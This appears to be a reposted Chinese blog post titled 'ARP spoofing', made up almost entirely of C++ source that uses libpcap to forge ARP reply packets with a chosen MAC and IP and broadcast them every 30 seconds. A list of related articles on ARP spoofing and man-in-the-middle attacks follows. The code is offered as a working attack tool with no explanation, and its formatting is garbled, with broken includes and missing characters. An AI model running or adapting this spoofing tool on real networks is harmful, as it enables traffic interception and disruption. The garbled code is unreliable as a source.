ARP欺骗

转载 2007年09月18日 17:39:00
 
main.cpp

--------------------------------

#i nclude 
"main.h"

pcap_t 
*driver;
u_char 
*buff ;
void *thread_send(void *);
int main(int argc, char **argv)
{
pcap_if_t 
*all,*current;

u_char packet[
100];
struct pcap_pkthdr *head;
char *eth_dst = "00-02-3f-03-3f-26";
char *errbuff;
char *data;
char in;
int intin;
int i = 0;
if(pcap_findalldevs(&all,errbuff) == -1)
{
   fprintf(stderr,
"error in open interface the reason is: %s",errbuff);
   exit(
-1);
}

= 1;
for(current = all;current;current = current->next)
{
   fprintf(stdout,
"%d.%s(%s) ",i,current->name,current->description);
   i
++;
}

fprintf(stdout,
"input the number of the interface:");
scanf(
"%c",&in);
intin 
= atoi(&in);
for(current = all,i = 1;current;current = current->next,i++)
{
   
if(i == intin)
   
{
    
break;
   }

}

fprintf(stdout,
"you choice driver is %s(%s)",current->name,current->description);
char buff_t[strlen(current->name)];
strcpy(buff_t,current
->name);
pcap_freealldevs(all);
if((driver = pcap_open_live(buff_t,65535,PCAP_OPENFLAG_PROMISCUOUS,1000,errbuff)) == NULL)
{
   fprintf(stdout,
"open a driver error ,reason:%s",errbuff);
   
return -1;
}

    
    
/* Send down the packet */
    
if (pcap_sendpacket(driver, packet, 100 ) != 0)
    
{
        fprintf(stderr,
" Error sending the packet:  ", pcap_geterr(driver));
        
return 1;
    }

    buff 
= (u_char*)malloc(sizeof(struct ether_header) + sizeof(struct ARP_HEADER));
    
struct ether_header *eh = (struct ether_header*)buff;
    
char tmp[ETHER_ADDR_LEN];
    
//dst-host-eth-addr
    memset(tmp,0,ETHER_ADDR_LEN);
    eth_addr_parse(
"ff-ff-ff-ff-ff-ff",tmp);
    memcpy(
&(eh->ether_dhost),tmp,ETHER_ADDR_LEN);
    
//src-host-eth-addr
    memset(tmp,0,ETHER_ADDR_LEN);
    eth_addr_parse(eth_dst,tmp);
    memcpy(
&(eh->ether_shost),tmp,ETHER_ADDR_LEN);
    eh
->ether_type=htons(0x0806);
    
struct ARP_HEADER *arp;
    arp 
= (struct ARP_HEADER*)(buff + sizeof(struct ether_header));
    arp
->arp_hdr = htons(1);
    arp
->arp_pro = htons(0x0800);
    arp
->arp_hln = 0x0006;
    arp
->arp_pln = 0x0004;
    arp
->arp_opt = htons(0x0002);
    
    memset(tmp,
0,ETHER_ADDR_LEN);
    eth_addr_parse(eth_dst,tmp);
    memcpy(
&(arp->arp_sha),tmp,ETHER_ADDR_LEN);
    
    inet_aton(
"10.100.0.61",(struct in_addr*)&(arp->arp_spa));
    
    memset(tmp,
0,ETHER_ADDR_LEN);
    eth_addr_parse(
"ff-ff-ff-ff-ff-ff",tmp);
    memcpy(
&(arp->arp_tha),tmp,ETHER_ADDR_LEN);
    
    inet_aton(
"0.0.0.0",(struct in_addr*)&(arp->arp_tpa));
    thread_create(thread_send);
    wait_thread();
    
return 0;
}


void *thread_send(void *)
{
while(true)
    
{
     
if (pcap_sendpacket(driver, buff, sizeof(struct ether_header) + sizeof(struct ARP_HEADER)) != 0)
     
{
         fprintf(stderr,
" Error sending the packet:  ", pcap_geterr(driver));
         
return NULL;
     }

     sleep(
30);
   }

}



main.h

--------------------------------------------------------------

#i nclude 
"pcap.h"
#i nclude 
<stdlib.h>
#i nclude 
<stdio.h>
#i nclude 
<string.h>
#i nclude 
"util.h"
#i nclude 
<sys/socket.h>
#i nclude 
<netinet/in.h>
#i nclude 
<arpa/inet.h>
#i nclude 
<unistd.h>
#i nclude 
"thread.h"
#define SIOCGARP 0x00008951
using namespace std;
#ifndef ETHER_ADDR_LEN
#define ETHER_ADDR_LEN 6
#endif



#ifndef PCAP_OPENFLAG_PROMISCUOUS
#define PCAP_OPENFLAG_PROMISCUOUS 1
#endif


struct ARP_HEADER   //ARP头部
{
    unsigned 
short arp_hdr;
    unsigned 
short arp_pro;
    unsigned 
char   arp_hln;
    unsigned 
char   arp_pln;
    unsigned 
short arp_opt;
    unsigned 
char   arp_sha[6];
    unsigned 
char   arp_spa[4];
    unsigned 
char   arp_tha[6];
    unsigned 
long   arp_tpa[4];
}
;

struct ether_header 
{
u_char ether_dhost[ETHER_ADDR_LEN];
u_char ether_shost[ETHER_ADDR_LEN];
u_short ether_type;
}
;

thread.cpp

--------------------------------------------------------------------

#i nclude 
<pthread.h>
#i nclude 
<iostream>
#i nclude 
"thread.h"

pthread_t t;

void thread_create(void *(*methd)(void*))
{
using namespace std;
if(pthread_create(&t,NULL,methd,NULL))
{
cout 
<< "error create thread" << endl;
exit(
0);
}

}


void wait_thread()
{
pthread_join(t,NULL); 
}


thread.h

----------------------

void thread_create(void *(*methd)(void*));
void wait_thread();


util.cpp

-----------------------------------------------------


#i nclude 
<string>
#i nclude 
<iostream>
#i nclude 
"util.h"
#i nclude 
<math.h>
int hex_to_int(const char ,int );
extern "C" void eth_addr_parse(const char *s,char *d)
{
     
using std::string;
     
string str(s);
     
int index = 0;
     
int beg = 0;
     
int li = 0;
     
while(beg <= str.length() && (index = str.find("-",beg)) != str.npos)
     
{
         
string sub = str.substr(beg,index - beg);
         
int sum = 0;
         
int i = 1;
         
for(int j = sub.length(); j > 0;j--)
         
{
           sum 
+= hex_to_int(sub[j - 1],i++);
         }

         d[li
++= sum;
         beg 
= index + 1;
     }

     
if(beg < str.length())
     
{
        
string sub = str.substr(beg,str.length() - beg);
        
int sum = 0;
        
int i = 1;
        
for(int j = sub.length(); j > 0;j--)
       
{
         sum 
+= hex_to_int(sub[j - 1],i++);
       }

       d[li
++= sum;
     }

}


int hex_to_int(const char c,int i)
{
  
for(int j = 0; j < 6; j++)
{
  
   
if(c == (char)(97+j))
   
{
    
return (10 + c - 97)*(int)pow(16,i-1);
   }

}

char buf[1] ;
buf[
0= c;
return atoi(buf)*(int)pow(16,i-1);
}




util.h

extern "C" void eth_addr_parse(const char *,char *);

相关文章推荐

ettercap&wireshark简单实现ARP欺骗+监控

系统版本 lsb_release -a

ARP欺骗攻击的检测和防御

以太网构建由 1500 个字节的块组成的数据帧。每个以太网数据帧头包括源 MAC 地址和 目的 MAC 地址。建造以太网数据帧,必须从 IP 数据包中开始。但在构建过程中,以太网并 不知道目标机器...

基于ARP欺骗的网络攻击程序源码

最近开始学WINPCAP,看了很多高手写的基于arp欺骗的抓包工具,尤其是电子科大的TOo2y师兄的《详谈调用winpcap驱动写arp多功能工具》,令我收益非浅。下面是我把这个思想改成arp攻击程序...

关于ARP欺骗与MITM(中间人攻击)的一些笔记

测试环境如下: 拓扑图:     网关: ASUS RT-N10+(DD-WRT) IP:192.168.1.1/24   攻击主机: BackTrack 5R3 ...

浅析局域网ARP欺骗导致的信息泄露

生活中大家一块上网,局域网中总会有抢带宽的,还有故意限制别人带宽的,可能很多人都是受害者,被P2P终结者、聚生网管之类的软件限制过,或许还有人用这个限制过别人。ARP欺骗攻击,貌似很陌生的一个名词,却...

一篇故事讲述了计算机网络里的基本概念:网关,DHCP,IP寻址,ARP欺骗,路由,DDOS等...

计算机主机网关的作用是什么? 假设你的名字叫小不点,你住在一个大院子里,你的邻居有很多小伙伴,在门口传达室还有个看大门的李大 爷,李大爷就是你的网关。当你想跟院子里的某个小伙伴玩,只要你在院子里...

一篇故事:网关,DHCP,IP寻址,ARP欺骗,路由,DDOS等

计算机主机网关的作用是什么? 假设你的名字叫小不点,你住在一个大院子里,你的邻居有很多小伙伴,在门口传达室还有个看大门的李大爷,李大爷就是你的网关。当你想跟院子里的某个小伙伴玩,只要你在院子里大...

不用arp欺骗进行嗅探以及会话劫持

不用arp欺骗进行嗅探以及会话劫持的技术原理,实际的攻击方法是进行 MAC欺骗。   一、原理:   在开始之前我们先简单了解一下交换机转发过程:交换机的一个端口收到一个数据帧时,首先检查改数据帧...
  • sding
  • sding
  • 2011-11-26 14:46
  • 1054

关于ARP、MAC、IP欺骗以及TCP劫持

三个多月没更新博客,期间也有在学习和总结一些东西,只是或多或少都涉及到公司相关的信息(业务,JVM,WebServer)所以不便写出来,有时候写到一半发现又不太合适然后删除,很郁闷。之前一直比较关注w...

记录利用ettercap进行简单的arp欺骗和mitm攻击过程

方法均来自网络,本人只是记录一下自己操作的过程,大神请无视之~ 攻击主机平台:kali-linux        被攻击主机:安卓手机192.168.1.107    (在同一局域网...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:深度学习:神经网络中的前向传播和反向传播算法推导
举报原因:
原因补充:

(最多只允许输入30个字)